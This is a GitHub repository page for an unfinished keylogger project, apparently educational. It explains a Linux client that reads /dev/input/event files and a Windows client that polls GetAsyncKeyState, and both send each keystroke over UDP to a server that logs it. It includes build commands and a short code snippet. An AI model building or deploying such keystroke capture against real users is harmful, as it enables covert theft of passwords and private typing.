Skip to content

it is a keylogger with two different clients one for linux and the other for windows and a server that compiles under linux only

License

Notifications You must be signed in to change notification settings

valoran-M/Keylogger

Repository files navigation

KEYLOGGER
Key loger Logo

Not finished

BUILD

make server
make linux_client
make windows_client

RUN

For run server :

./server

For run linux_client:

sudo ./client

EXPLAIN



SERVER :
Server explain

The server porgram uses the UDP protocol (without connected mode). When the program receives a data, it will write it in IP.log.

The server can only run on linux machines

LINUX CLIENT :
Linux client explain

Program operation :

This program reads the contents of the file/dev/input/event*([0-9]) which is in the form of a struct :

struct input_event{
  struct timeval time;
  unsigned short type;
  unsigned short code;
  unsigned int value;
};

we retrieve the code which will then be converted into a real keyboard touch. We send the key to the server with the udp protocol.

SIGNAL :
The SIGINT(ctl + c) signal is redirected for a clean stop of the program.
Why /dev/input/event ?

The /dev directory contains all files for all devices.
So we go to input directory to have all the input files. You can do this commande cat /proc/bus/input/devices to have all the possible entries with their name and to see the correct event file. In my case it is the /dev/input/event0 file.

WINDOWS CLIENT :
Windows client explain

The porgramme works with an infinite loop. In this loop we find a for loop which will test for each key if it pressed. If this is the acse it is translated and sent to the server.

while (1)
        for (DWORD i = 0; i < 255; i++)
            if (GetAsyncKeyState(i) == -32767)
                send_message(client, serv, translate_key(i));
translate :

DISCLAILER

I made an educational program to see how this kind of program works on linux and windows machines. I am not responsible for the use that can be made of it.



If you have any suggestions for improvement, I am always interested

About

it is a keylogger with two different clients one for linux and the other for windows and a server that compiles under linux only

Topics

Resources

License

Code of conduct

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published